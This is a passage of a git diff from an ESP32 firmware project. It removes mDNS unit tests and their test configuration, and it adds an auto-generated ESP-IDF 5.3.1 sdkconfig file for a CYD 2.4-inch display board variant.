TEST_ASSERT_EQUAL(ESP_OK, mdns_instance_name_set(MDNS_INSTANCE)); - - TEST_ASSERT_EQUAL(ESP_OK, mdns_query_ptr(MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, 10, CONFIG_MDNS_MAX_SERVICES, &results) ); - mdns_query_results_free(results); - - TEST_ASSERT_EQUAL(ESP_OK, mdns_query_srv(MDNS_INSTANCE, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, 10, &results) ); - mdns_query_results_free(results); - - TEST_ASSERT_EQUAL(ESP_OK, mdns_query_txt(MDNS_INSTANCE, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, 10, &results) ); - mdns_query_results_free(results); - - TEST_ASSERT_EQUAL(ESP_ERR_NOT_FOUND, mdns_query_a(MDNS_HOSTNAME, 10, &addr4) ); - mdns_query_results_free(results); - - TEST_ASSERT_EQUAL(ESP_ERR_NOT_FOUND, mdns_query_aaaa(MDNS_HOSTNAME, 10, &addr6) ); - mdns_query_results_free(results); - - mdns_free(); - esp_event_loop_delete_default(); -} - -TEST(mdns, add_remove_service) -{ - mdns_result_t *results = NULL; - test_case_uses_tcpip(); - TEST_ASSERT_EQUAL(ESP_OK, esp_event_loop_create_default()); - TEST_ASSERT_EQUAL(ESP_OK, mdns_init() ); - TEST_ASSERT_EQUAL(ESP_OK, mdns_hostname_set(MDNS_HOSTNAME)); - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_add(MDNS_INSTANCE, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_SERVICE_PORT, NULL, 0)); - yield_to_all_priorities(); // Make sure that mdns task has executed to add the hostname - TEST_ASSERT_EQUAL(ESP_OK, mdns_lookup_selfhosted_service(NULL, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, 1, &results)); - TEST_ASSERT_NOT_EQUAL(NULL, results); - TEST_ASSERT_EQUAL_STRING(MDNS_INSTANCE, results->instance_name); - TEST_ASSERT_EQUAL_STRING(MDNS_SERVICE_NAME, results->service_type); - TEST_ASSERT_EQUAL(MDNS_SERVICE_PORT, results->port); - TEST_ASSERT_EQUAL(NULL, results->txt); - mdns_query_results_free(results); - - // Update service properties: port - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_port_set(MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_SERVICE_PORT + 1)); - yield_to_all_priorities(); // Make sure that mdns task has executed to add the hostname - TEST_ASSERT_EQUAL(ESP_OK, mdns_lookup_selfhosted_service(NULL, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, 1, &results)); - TEST_ASSERT_NOT_EQUAL(NULL, results); - TEST_ASSERT_EQUAL(MDNS_SERVICE_PORT + 1, results->port); - mdns_query_results_free(results); - - // Update service properties: instance - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_instance_name_set(MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_INSTANCE "1" )); - yield_to_all_priorities(); // Make sure that mdns task has executed to add the hostname - TEST_ASSERT_EQUAL(ESP_OK, mdns_lookup_selfhosted_service(MDNS_INSTANCE "1", MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, 1, &results)); - TEST_ASSERT_NOT_EQUAL(NULL, results); - TEST_ASSERT_EQUAL_STRING(MDNS_INSTANCE "1", results->instance_name); - mdns_query_results_free(results); - - // Update service properties: txt - mdns_txt_item_t txt_data[] = { - {"key1", "esp32"}, - {"key2", "value"}, - {"key3", "value3"}, - }; - const size_t txt_data_cout = sizeof(txt_data) / sizeof(txt_data[0]); - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_txt_set(MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, txt_data, txt_data_cout)); - yield_to_all_priorities(); // Make sure that mdns task has executed to add the hostname - TEST_ASSERT_EQUAL(ESP_OK, mdns_lookup_selfhosted_service(NULL, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, 1, &results)); - TEST_ASSERT_NOT_EQUAL(NULL, results); - TEST_ASSERT_NOT_EQUAL(NULL, results->txt); - TEST_ASSERT_EQUAL(txt_data_cout, results->txt_count); - // compare txt values by keys - size_t matches = 0; - for (int i = 0; i < results->txt_count; ++i) // iterates over the results we get from mdns_lookup() - for (int j = 0; j < txt_data_cout; ++j) // iterates over our test records - if (strcmp(results->txt[i].key, txt_data[j].key) == 0) { // we compare the value only if the key matches - TEST_ASSERT_EQUAL_STRING(results->txt[i].value, txt_data[j].value); - ++matches; - } - TEST_ASSERT_EQUAL(txt_data_cout, matches); // checks that we went over all our txt items - mdns_query_results_free(results); - - // Now remove the service - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_remove(MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO)); - yield_to_all_priorities(); // Make sure that mdns task has executed to add the hostname - TEST_ASSERT_EQUAL(ESP_OK, mdns_lookup_selfhosted_service(NULL, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, 1, &results)); - TEST_ASSERT_EQUAL(NULL, results); - - mdns_free(); - esp_event_loop_delete_default(); -} - -TEST(mdns, add_remove_deleg_service) -{ - mdns_ip_addr_t addr; - addr.addr.type = ESP_IPADDR_TYPE_V4; - addr.addr.u_addr.ip4.addr = esp_ip4addr_aton("127.0.0.1"); - addr.next = NULL; - mdns_result_t *results = NULL; - test_case_uses_tcpip(); - TEST_ASSERT_EQUAL(ESP_OK, esp_event_loop_create_default()); - TEST_ASSERT_EQUAL(ESP_OK, mdns_init() ); - TEST_ASSERT_EQUAL(ESP_OK, mdns_hostname_set(MDNS_HOSTNAME)); - TEST_ASSERT_EQUAL(ESP_OK, mdns_delegate_hostname_add(MDNS_DELEGATE_HOSTNAME, &addr) ); - - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_add_for_host(MDNS_INSTANCE, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_DELEGATE_HOSTNAME, MDNS_SERVICE_PORT, NULL, 0)); - yield_to_all_priorities(); // Make sure that mdns task has executed to add the hostname - TEST_ASSERT_EQUAL(ESP_OK, mdns_lookup_delegated_service(NULL, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, 1, &results)); - TEST_ASSERT_NOT_EQUAL(NULL, results); - TEST_ASSERT_EQUAL_STRING(MDNS_INSTANCE, results->instance_name); - TEST_ASSERT_EQUAL_STRING(MDNS_SERVICE_NAME, results->service_type); - TEST_ASSERT_EQUAL(MDNS_SERVICE_PORT, results->port); - TEST_ASSERT_EQUAL(NULL, results->txt); - mdns_query_results_free(results); - - // Update service properties: port - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_port_set_for_host(NULL, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_DELEGATE_HOSTNAME, MDNS_SERVICE_PORT + 1)); - yield_to_all_priorities(); // Make sure that mdns task has executed to add the hostname - TEST_ASSERT_EQUAL(ESP_OK, mdns_lookup_delegated_service(NULL, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, 1, &results)); - TEST_ASSERT_NOT_EQUAL(NULL, results); - TEST_ASSERT_EQUAL(MDNS_SERVICE_PORT + 1, results->port); - mdns_query_results_free(results); - - // Update service properties: instance - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_instance_name_set_for_host(NULL, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_DELEGATE_HOSTNAME, MDNS_INSTANCE "1" )); - yield_to_all_priorities(); // Make sure that mdns task has executed to add the hostname - TEST_ASSERT_EQUAL(ESP_OK, mdns_lookup_delegated_service(MDNS_INSTANCE "1", MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, 1, &results)); - TEST_ASSERT_NOT_EQUAL(NULL, results); - TEST_ASSERT_EQUAL_STRING(MDNS_INSTANCE "1", results->instance_name); - mdns_query_results_free(results); - - // Update service properties: txt - mdns_txt_item_t txt_data[] = { - {"key1", "esp32"}, - {"key2", "value"}, - }; - const size_t txt_data_cout = sizeof(txt_data) / sizeof(txt_data[0]); - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_txt_set_for_host(NULL, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_DELEGATE_HOSTNAME, txt_data, txt_data_cout)); - yield_to_all_priorities(); // Make sure that mdns task has executed to add the hostname - TEST_ASSERT_EQUAL(ESP_OK, mdns_lookup_delegated_service(NULL, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, 1, &results)); - TEST_ASSERT_NOT_EQUAL(NULL, results); - TEST_ASSERT_NOT_EQUAL(NULL, results->txt); - TEST_ASSERT_EQUAL(txt_data_cout, results->txt_count); - // compare txt values by keys - size_t matches = 0; - for (int i = 0; i < results->txt_count; ++i) // iterates over the results we get from mdns_lookup() - for (int j = 0; j < txt_data_cout; ++j) // iterates over our test records - if (strcmp(results->txt[i].key, txt_data[j].key) == 0) { // we compare the value only if the key matches - TEST_ASSERT_EQUAL_STRING(results->txt[i].value, txt_data[j].value); - ++matches; - } - TEST_ASSERT_EQUAL(txt_data_cout, matches); // checks that we went over all our txt items - mdns_query_results_free(results); - - // Now remove the service - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_remove_for_host(NULL, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_DELEGATE_HOSTNAME)); - yield_to_all_priorities(); // Make sure that mdns task has executed to add the hostname - TEST_ASSERT_EQUAL(ESP_OK, mdns_lookup_delegated_service(NULL, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, 1, &results)); - TEST_ASSERT_EQUAL(NULL, results); - - mdns_free(); - esp_event_loop_delete_default(); -} -TEST_GROUP_RUNNER(mdns) -{ - RUN_TEST_CASE(mdns, api_fails_with_invalid_state) - RUN_TEST_CASE(mdns, api_fails_with_expected_err) - RUN_TEST_CASE(mdns, query_api_fails_with_expected_err) - RUN_TEST_CASE(mdns, init_deinit) - RUN_TEST_CASE(mdns, add_remove_service) - RUN_TEST_CASE(mdns, add_remove_deleg_service) - -} - -void app_main(void) -{ - UNITY_MAIN(mdns); -} diff --git a/components/mdns/tests/unit_test/pytest_app_mdns.py b/components/mdns/tests/unit_test/pytest_app_mdns.py deleted file mode 100644 index 51061127..00000000 --- a/components/mdns/tests/unit_test/pytest_app_mdns.py +++ /dev/null @@ -1,8 +0,0 @@ -# SPDX-FileCopyrightText: 2022-2023 Espressif Systems (Shanghai) CO LTD -# SPDX-License-Identifier: Apache-2.0 - -from pytest_embedded import Dut - - -def test_mdns(dut: Dut) -> None: - dut.expect_unity_test_output() diff --git a/components/mdns/tests/unit_test/sdkconfig.ci b/components/mdns/tests/unit_test/sdkconfig.ci deleted file mode 100644 index 96607191..00000000 --- a/components/mdns/tests/unit_test/sdkconfig.ci +++ /dev/null @@ -1,3 +0,0 @@ -CONFIG_IDF_TARGET="esp32" -CONFIG_UNITY_ENABLE_FIXTURE=y -CONFIG_UNITY_ENABLE_IDF_TEST_RUNNER=n diff --git a/components/mdns/tests/unit_test/sdkconfig.defaults b/components/mdns/tests/unit_test/sdkconfig.defaults deleted file mode 100644 index 168e08d4..00000000 --- a/components/mdns/tests/unit_test/sdkconfig.defaults +++ /dev/null @@ -1,2 +0,0 @@ -CONFIG_UNITY_ENABLE_FIXTURE=y -CONFIG_UNITY_ENABLE_IDF_TEST_RUNNER=n diff --git a/configs/sdkconfig.CYD2USB2.4Inch_C_Varient b/configs/sdkconfig.CYD2USB2.4Inch_C_Varient new file mode 100644 index 00000000..022fe951 --- /dev/null +++ b/configs/sdkconfig.CYD2USB2.4Inch_C_Varient @@ -0,0 +1,2800 @@ +# +# Automatically generated file. DO NOT EDIT. +# Espressif IoT Development Framework (ESP-IDF) 5.3.1 Project Configuration +# +CONFIG_SOC_BROWNOUT_RESET_SUPPORTED="Not determined" +CONFIG_SOC_TWAI_BRP_DIV_SUPPORTED="Not determined" +CONFIG_SOC_DPORT_WORKAROUND="Not determined" +CONFIG_SOC_CAPS_ECO_VER_MAX=301 +CONFIG_SOC_ADC_SUPPORTED=y +CONFIG_SOC_DAC_SUPPORTED=y +CONFIG_SOC_UART_SUPPORTED=y +CONFIG_SOC_MCPWM_SUPPORTED=y +CONFIG_SOC_GPTIMER_SUPPORTED=y +CONFIG_SOC_SDMMC_HOST_SUPPORTED=y +CONFIG_SOC_BT_SUPPORTED=y +CONFIG_SOC_PCNT_SUPPORTED=y +CONFIG_SOC_PHY_SUPPORTED=y +CONFIG_SOC_WIFI_SUPPORTED=y +CONFIG_SOC_SDIO_SLAVE_SUPPORTED=y +CONFIG_SOC_TWAI_SUPPORTED=y +CONFIG_SOC_EFUSE_SUPPORTED=y +CONFIG_SOC_EMAC_SUPPORTED=y +CONFIG_SOC_ULP_SUPPORTED=y +CONFIG_SOC_CCOMP_TIMER_SUPPORTED=y +CONFIG_SOC_RTC_FAST_MEM_SUPPORTED=y +CONFIG_SOC_RTC_SLOW_MEM_SUPPORTED=y +CONFIG_SOC_RTC_MEM_SUPPORTED=y +CONFIG_SOC_I2S_SUPPORTED=y +CONFIG_SOC_RMT_SUPPORTED=y +CONFIG_SOC_SDM_SUPPORTED=y +CONFIG_SOC_GPSPI_SUPPORTED=y +CONFIG_SOC_LEDC_SUPPORTED=y +CONFIG_SOC_I2C_SUPPORTED=y +CONFIG_SOC_SUPPORT_COEXISTENCE=y +CONFIG_SOC_AES_SUPPORTED=y +CONFIG_SOC_MPI_SUPPORTED=y +CONFIG_SOC_SHA_SUPPORTED=y +CONFIG_SOC_FLASH_ENC_SUPPORTED=y +CONFIG_SOC_SECURE_BOOT_SUPPORTED=y +CONFIG_SOC_TOUCH_SENSOR_SUPPORTED=y +CONFIG_SOC_BOD_SUPPORTED=y +CONFIG_SOC_ULP_FSM_SUPPORTED=y +CONFIG_SOC_CLK_TREE_SUPPORTED=y +CONFIG_SOC_MPU_SUPPORTED=y +CONFIG_SOC_WDT_SUPPORTED=y +CONFIG_SOC_SPI_FLASH_SUPPORTED=y +CONFIG_SOC_RNG_SUPPORTED=y +CONFIG_SOC_LIGHT_SLEEP_SUPPORTED=y +CONFIG_SOC_DEEP_SLEEP_SUPPORTED=y +CONFIG_SOC_LP_PERIPH_SHARE_INTERRUPT=y +CONFIG_SOC_PM_SUPPORTED=y +CONFIG_SOC_DPORT_WORKAROUND_DIS_INTERRUPT_LVL=5 +CONFIG_SOC_XTAL_SUPPORT_26M=y +CONFIG_SOC_XTAL_SUPPORT_40M=y +CONFIG_SOC_XTAL_SUPPORT_AUTO_DETECT=y +CONFIG_SOC_ADC_RTC_CTRL_SUPPORTED=y +CONFIG_SOC_ADC_DIG_CTRL_SUPPORTED=y +CONFIG_SOC_ADC_DMA_SUPPORTED=y +CONFIG_SOC_ADC_PERIPH_NUM=2 +CONFIG_SOC_ADC_MAX_CHANNEL_NUM=10 +CONFIG_SOC_ADC_ATTEN_NUM=4 +CONFIG_SOC_ADC_DIGI_CONTROLLER_NUM=2 +CONFIG_SOC_ADC_PATT_LEN_MAX=16 +CONFIG_SOC_ADC_DIGI_MIN_BITWIDTH=9 +CONFIG_SOC_ADC_DIGI_MAX_BITWIDTH=12 +CONFIG_SOC_ADC_DIGI_RESULT_BYTES=2 +CONFIG_SOC_ADC_DIGI_DATA_BYTES_PER_CONV=4 +CONFIG_SOC_ADC_DIGI_MONITOR_NUM=0 +CONFIG_SOC_ADC_SAMPLE_FREQ_THRES_HIGH=2 +CONFIG_SOC_ADC_SAMPLE_FREQ_THRES_LOW=20 +CONFIG_SOC_ADC_RTC_MIN_BITWIDTH=9 +CONFIG_SOC_ADC_RTC_MAX_BITWIDTH=12 +CONFIG_SOC_ADC_SHARED_POWER=y +CONFIG_SOC_SHARED_IDCACHE_SUPPORTED=y +CONFIG_SOC_IDCACHE_PER_CORE=y +CONFIG_SOC_CPU_CORES_NUM=2 +CONFIG_SOC_CPU_INTR_NUM=32 +CONFIG_SOC_CPU_HAS_FPU=y +CONFIG_SOC_HP_CPU_HAS_MULTIPLE_CORES=y +CONFIG_SOC_CPU_BREAKPOINTS_NUM=2 +CONFIG_SOC_CPU_WATCHPOINTS_NUM=2 +CONFIG_SOC_CPU_WATCHPOINT_MAX_REGION_SIZE=64 +CONFIG_SOC_DAC_CHAN_NUM=2 +CONFIG_SOC_DAC_RESOLUTION=8 +CONFIG_SOC_DAC_DMA_16BIT_ALIGN=y +CONFIG_SOC_GPIO_PORT=1 +CONFIG_SOC_GPIO_PIN_COUNT=40 +CONFIG_SOC_GPIO_VALID_GPIO_MASK=0xFFFFFFFFFF +CONFIG_SOC_GPIO_IN_RANGE_MAX=39 +CONFIG_SOC_GPIO_OUT_RANGE_MAX=33 +CONFIG_SOC_GPIO_VALID_DIGITAL_IO_PAD_MASK=0xEF0FEA +CONFIG_SOC_GPIO_CLOCKOUT_BY_IO_MUX=y +CONFIG_SOC_GPIO_CLOCKOUT_CHANNEL_NUM=3 +CONFIG_SOC_I2C_NUM=2 +CONFIG_SOC_HP_I2C_NUM=2 +CONFIG_SOC_I2C_FIFO_LEN=32 +CONFIG_SOC_I2C_CMD_REG_NUM=16 +CONFIG_SOC_I2C_SUPPORT_SLAVE=y +CONFIG_SOC_I2C_SUPPORT_APB=y +CONFIG_SOC_I2C_STOP_INDEPENDENT=y +CONFIG_SOC_I2S_NUM=2 +CONFIG_SOC_I2S_HW_VERSION_1=y +CONFIG_SOC_I2S_SUPPORTS_APLL=y +CONFIG_SOC_I2S_SUPPORTS_PLL_F160M=y +CONFIG_SOC_I2S_SUPPORTS_PDM=y +CONFIG_SOC_I2S_SUPPORTS_PDM_TX=y +CONFIG_SOC_I2S_PDM_MAX_TX_LINES=1 +CONFIG_SOC_I2S_SUPPORTS_PDM_RX=y +CONFIG_SOC_I2S_PDM_MAX_RX_LINES=1 +CONFIG_SOC_I2S_SUPPORTS_ADC_DAC=y +CONFIG_SOC_I2S_SUPPORTS_ADC=y +CONFIG_SOC_I2S_SUPPORTS_DAC=y +CONFIG_SOC_I2S_SUPPORTS_LCD_CAMERA=y +CONFIG_SOC_I2S_TRANS_SIZE_ALIGN_WORD=y +CONFIG_SOC_I2S_LCD_I80_VARIANT=y +CONFIG_SOC_LCD_I80_SUPPORTED=y +CONFIG_SOC_LCD_I80_BUSES=2 +CONFIG_SOC_LCD_I80_BUS_WIDTH=24 +CONFIG_SOC_LEDC_HAS_TIMER_SPECIFIC_MUX=y +CONFIG_SOC_LEDC_SUPPORT_APB_CLOCK=y +CONFIG_SOC_LEDC_SUPPORT_REF_TICK=y +CONFIG_SOC_LEDC_SUPPORT_HS_MODE=y +CONFIG_SOC_LEDC_CHANNEL_NUM=8 +CONFIG_SOC_LEDC_TIMER_BIT_WIDTH=20 +CONFIG_SOC_MCPWM_GROUPS=2 +CONFIG_SOC_MCPWM_TIMERS_PER_GROUP=3 +CONFIG_SOC_MCPWM_OPERATORS_PER_GROUP=3 +CONFIG_SOC_MCPWM_COMPARATORS_PER_OPERATOR=2 +CONFIG_SOC_MCPWM_GENERATORS_PER_OPERATOR=2 +CONFIG_SOC_MCPWM_TRIGGERS_PER_OPERATOR=2 +CONFIG_SOC_MCPWM_GPIO_FAULTS_PER_GROUP=3 +CONFIG_SOC_MCPWM_CAPTURE_TIMERS_PER_GROUP=y +CONFIG_SOC_MCPWM_CAPTURE_CHANNELS_PER_TIMER=3 +CONFIG_SOC_MCPWM_GPIO_SYNCHROS_PER_GROUP=3 +CONFIG_SOC_MMU_PERIPH_NUM=2 +CONFIG_SOC_MMU_LINEAR_ADDRESS_REGION_NUM=3 +CONFIG_SOC_MPU_MIN_REGION_SIZE=0x20000000 +CONFIG_SOC_MPU_REGIONS_MAX_NUM=8 +CONFIG_SOC_PCNT_GROUPS=1 +CONFIG_SOC_PCNT_UNITS_PER_GROUP=8 +CONFIG_SOC_PCNT_CHANNELS_PER_UNIT=2 +CONFIG_SOC_PCNT_THRES_POINT_PER_UNIT=2 +CONFIG_SOC_RMT_GROUPS=1 +CONFIG_SOC_RMT_TX_CANDIDATES_PER_GROUP=8 +CONFIG_SOC_RMT_RX_CANDIDATES_PER_GROUP=8 +CONFIG_SOC_RMT_CHANNELS_PER_GROUP=8 +CONFIG_SOC_RMT_MEM_WORDS_PER_CHANNEL=64 +CONFIG_SOC_RMT_SUPPORT_REF_TICK=y +CONFIG_SOC_RMT_SUPPORT_APB=y +CONFIG_SOC_RMT_CHANNEL_CLK_INDEPENDENT=y +CONFIG_SOC_RTCIO_PIN_COUNT=18 +CONFIG_SOC_RTCIO_INPUT_OUTPUT_SUPPORTED=y +CONFIG_SOC_RTCIO_HOLD_SUPPORTED=y +CONFIG_SOC_RTCIO_WAKE_SUPPORTED=y +CONFIG_SOC_SDM_GROUPS=1 +CONFIG_SOC_SDM_CHANNELS_PER_GROUP=8 +CONFIG_SOC_SDM_CLK_SUPPORT_APB=y +CONFIG_SOC_SPI_HD_BOTH_INOUT_SUPPORTED=y +CONFIG_SOC_SPI_AS_CS_SUPPORTED=y +CONFIG_SOC_SPI_PERIPH_NUM=3 +CONFIG_SOC_SPI_DMA_CHAN_NUM=2 +CONFIG_SOC_SPI_MAX_CS_NUM=3 +CONFIG_SOC_SPI_SUPPORT_CLK_APB=y +CONFIG_SOC_SPI_MAXIMUM_BUFFER_SIZE=64 +CONFIG_SOC_SPI_MAX_PRE_DIVIDER=8192 +CONFIG_SOC_MEMSPI_SRC_FREQ_80M_SUPPORTED=y +CONFIG_SOC_MEMSPI_SRC_FREQ_40M_SUPPORTED=y +CONFIG_SOC_MEMSPI_SRC_FREQ_26M_SUPPORTED=y +CONFIG_SOC_MEMSPI_SRC_FREQ_20M_SUPPORTED=y +CONFIG_SOC_TIMER_GROUPS=2 +CONFIG_SOC_TIMER_GROUP_TIMERS_PER_GROUP=2 +CONFIG_SOC_TIMER_GROUP_COUNTER_BIT_WIDTH=64 +CONFIG_SOC_TIMER_GROUP_TOTAL_TIMERS=4 +CONFIG_SOC_TIMER_GROUP_SUPPORT_APB=y +CONFIG_SOC_TOUCH_SENSOR_VERSION=1 +CONFIG_SOC_TOUCH_SENSOR_NUM=10 +CONFIG_SOC_TOUCH_SAMPLE_CFG_NUM=1 +CONFIG_SOC_TWAI_CONTROLLER_NUM=1 +CONFIG_SOC_TWAI_BRP_MIN=2 +CONFIG_SOC_TWAI_CLK_SUPPORT_APB=y +CONFIG_SOC_TWAI_SUPPORT_MULTI_ADDRESS_LAYOUT=y +CONFIG_SOC_UART_NUM=3 +CONFIG_SOC_UART_HP_NUM=3 +CONFIG_SOC_UART_SUPPORT_APB_CLK=y +CONFIG_SOC_UART_SUPPORT_REF_TICK=y +CONFIG_SOC_UART_FIFO_LEN=128 +CONFIG_SOC_UART_BITRATE_MAX=5000000 +CONFIG_SOC_SPIRAM_SUPPORTED=y +CONFIG_SOC_SPI_MEM_SUPPORT_CONFIG_GPIO_BY_EFUSE=y +CONFIG_SOC_SHA_SUPPORT_PARALLEL_ENG=y +CONFIG_SOC_SHA_ENDIANNESS_BE=y +CONFIG_SOC_SHA_SUPPORT_SHA1=y +CONFIG_SOC_SHA_SUPPORT_SHA256=y +CONFIG_SOC_SHA_SUPPORT_SHA384=y +CONFIG_SOC_SHA_SUPPORT_SHA512=y +CONFIG_SOC_MPI_MEM_BLOCKS_NUM=4 +CONFIG_SOC_MPI_OPERATIONS_NUM=y +CONFIG_SOC_RSA_MAX_BIT_LEN=4096 +CONFIG_SOC_AES_SUPPORT_AES_128=y +CONFIG_SOC_AES_SUPPORT_AES_192=y +CONFIG_SOC_AES_SUPPORT_AES_256=y +CONFIG_SOC_SECURE_BOOT_V1=y +CONFIG_SOC_EFUSE_SECURE_BOOT_KEY_DIGESTS=y +CONFIG_SOC_FLASH_ENCRYPTED_XTS_AES_BLOCK_MAX=32 +CONFIG_SOC_PHY_DIG_REGS_MEM_SIZE=21 +CONFIG_SOC_PM_SUPPORT_EXT0_WAKEUP=y +CONFIG_SOC_PM_SUPPORT_EXT1_WAKEUP=y +CONFIG_SOC_PM_SUPPORT_EXT_WAKEUP=y +CONFIG_SOC_PM_SUPPORT_TOUCH_SENSOR_WAKEUP=y +CONFIG_SOC_PM_SUPPORT_RTC_PERIPH_PD=y +CONFIG_SOC_PM_SUPPORT_RTC_FAST_MEM_PD=y +CONFIG_SOC_PM_SUPPORT_RTC_SLOW_MEM_PD=y +CONFIG_SOC_PM_SUPPORT_RC_FAST_PD=y +CONFIG_SOC_PM_SUPPORT_VDDSDIO_PD=y +CONFIG_SOC_PM_SUPPORT_MODEM_PD=y +CONFIG_SOC_CONFIGURABLE_VDDSDIO_SUPPORTED=y +CONFIG_SOC_CLK_APLL_SUPPORTED=y +CONFIG_SOC_CLK_RC_FAST_D256_SUPPORTED=y +CONFIG_SOC_RTC_SLOW_CLK_SUPPORT_RC_FAST_D256=y +CONFIG_SOC_CLK_RC_FAST_SUPPORT_CALIBRATION=y +CONFIG_SOC_CLK_XTAL32K_SUPPORTED=y +CONFIG_SOC_SDMMC_USE_IOMUX=y +CONFIG_SOC_SDMMC_NUM_SLOTS=2 +CONFIG_SOC_WIFI_WAPI_SUPPORT=y +CONFIG_SOC_WIFI_CSI_SUPPORT=y +CONFIG_SOC_WIFI_MESH_SUPPORT=y +CONFIG_SOC_WIFI_SUPPORT_VARIABLE_BEACON_WINDOW=y +CONFIG_SOC_WIFI_NAN_SUPPORT=y +CONFIG_SOC_BLE_SUPPORTED=y +CONFIG_SOC_BLE_MESH_SUPPORTED=y +CONFIG_SOC_BT_CLASSIC_SUPPORTED=y +CONFIG_SOC_BLUFI_SUPPORTED=y +CONFIG_SOC_BT_H2C_ENC_KEY_CTRL_ENH_VSC_SUPPORTED=y +CONFIG_SOC_ULP_HAS_ADC=y +CONFIG_SOC_PHY_COMBO_MODULE=y +CONFIG_SOC_EMAC_RMII_CLK_OUT_INTERNAL_LOOPBACK=y +CONFIG_IDF_CMAKE=y +CONFIG_IDF_TOOLCHAIN="gcc" +CONFIG_IDF_TARGET_ARCH_XTENSA=y +CONFIG_IDF_TARGET_ARCH="xtensa" +CONFIG_IDF_TARGET="esp32" +CONFIG_IDF_INIT_VERSION="5.3.1" +CONFIG_IDF_TARGET_ESP32=y +CONFIG_IDF_FIRMWARE_CHIP_ID=0x0000 + +# +# Build type +# +CONFIG_APP_BUILD_TYPE_APP_2NDBOOT=y +# CONFIG_APP_BUILD_TYPE_RAM is not set +CONFIG_APP_BUILD_GENERATE_BINARIES=y +CONFIG_APP_BUILD_BOOTLOADER=y +CONFIG_APP_BUILD_USE_FLASH_SECTIONS=y +# CONFIG_APP_REPRODUCIBLE_BUILD is not set +# CONFIG_APP_NO_BLOBS is not set +# CONFIG_APP_COMPATIBLE_PRE_V2_1_BOOTLOADERS is not set +# CONFIG_APP_COMPATIBLE_PRE_V3_1_BOOTLOADERS is not set +# end of Build type + +# +# Bootloader config +# + +# +# Bootloader manager +# +CONFIG_BOOTLOADER_COMPILE_TIME_DATE=y +CONFIG_BOOTLOADER_PROJECT_VER=1 +# end of Bootloader manager + +CONFIG_BOOTLOADER_OFFSET_IN_FLASH=0x1000 +CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_SIZE=y +# CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_DEBUG is not set +# CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_PERF is not set +# CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_NONE is not set +# CONFIG_BOOTLOADER_LOG_LEVEL_NONE is not set +# CONFIG_BOOTLOADER_LOG_LEVEL_ERROR is not set +CONFIG_BOOTLOADER_LOG_LEVEL_WARN=y +# CONFIG_BOOTLOADER_LOG_LEVEL_INFO is not set +# CONFIG_BOOTLOADER_LOG_LEVEL_DEBUG is not set +# CONFIG_BOOTLOADER_LOG_LEVEL_VERBOSE is not set +CONFIG_BOOTLOADER_LOG_LEVEL=2 + +# +# Serial Flash Configurations +# +# CONFIG_BOOTLOADER_FLASH_DC_AWARE is not set +CONFIG_BOOTLOADER_FLASH_XMC_SUPPORT=y +# end of Serial Flash Configurations + +CONFIG_BOOTLOADER_VDDSDIO_BOOST_1_9V=y +# CONFIG_BOOTLOADER_FACTORY_RESET is not set +# CONFIG_BOOTLOADER_APP_TEST is not set +CONFIG_BOOTLOADER_REGION_PROTECTION_ENABLE=y +CONFIG_BOOTLOADER_WDT_ENABLE=y +# CONFIG_BOOTLOADER_WDT_DISABLE_IN_USER_CODE is not set +CONFIG_BOOTLOADER_WDT_TIME_MS=9000 +# CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE is not set +# CONFIG_BOOTLOADER_SKIP_VALIDATE_IN_DEEP_SLEEP is not set +# CONFIG_BOOTLOADER_SKIP_VALIDATE_ON_POWER_ON is not set +# CONFIG_BOOTLOADER_SKIP_VALIDATE_ALWAYS is not set +CONFIG_BOOTLOADER_RESERVE_RTC_SIZE=0 +# CONFIG_BOOTLOADER_CUSTOM_RESERVE_RTC is not set +# end of Bootloader config + +# +# Security features +# +CONFIG_SECURE_BOOT_V1_SUPPORTED=y +# CONFIG_SECURE_SIGNED_APPS_NO_SECURE_BOOT is not set +# CONFIG_SECURE_BOOT is not set +# CONFIG_SECURE_FLASH_ENC_ENABLED is not set +# end of Security features + +# +# Application manager +# +CONFIG_APP_COMPILE_TIME_DATE=y +# CONFIG_APP_EXCLUDE_PROJECT_VER_VAR is not set +# CONFIG_APP_EXCLUDE_PROJECT_NAME_VAR is not set +# CONFIG_APP_PROJECT_VER_FROM_CONFIG is not set +CONFIG_APP_RETRIEVE_LEN_ELF_SHA=9 +# end of Application manager + +CONFIG_ESP_ROM_HAS_CRC_LE=y +CONFIG_ESP_ROM_HAS_CRC_BE=y +CONFIG_ESP_ROM_HAS_MZ_CRC32=y 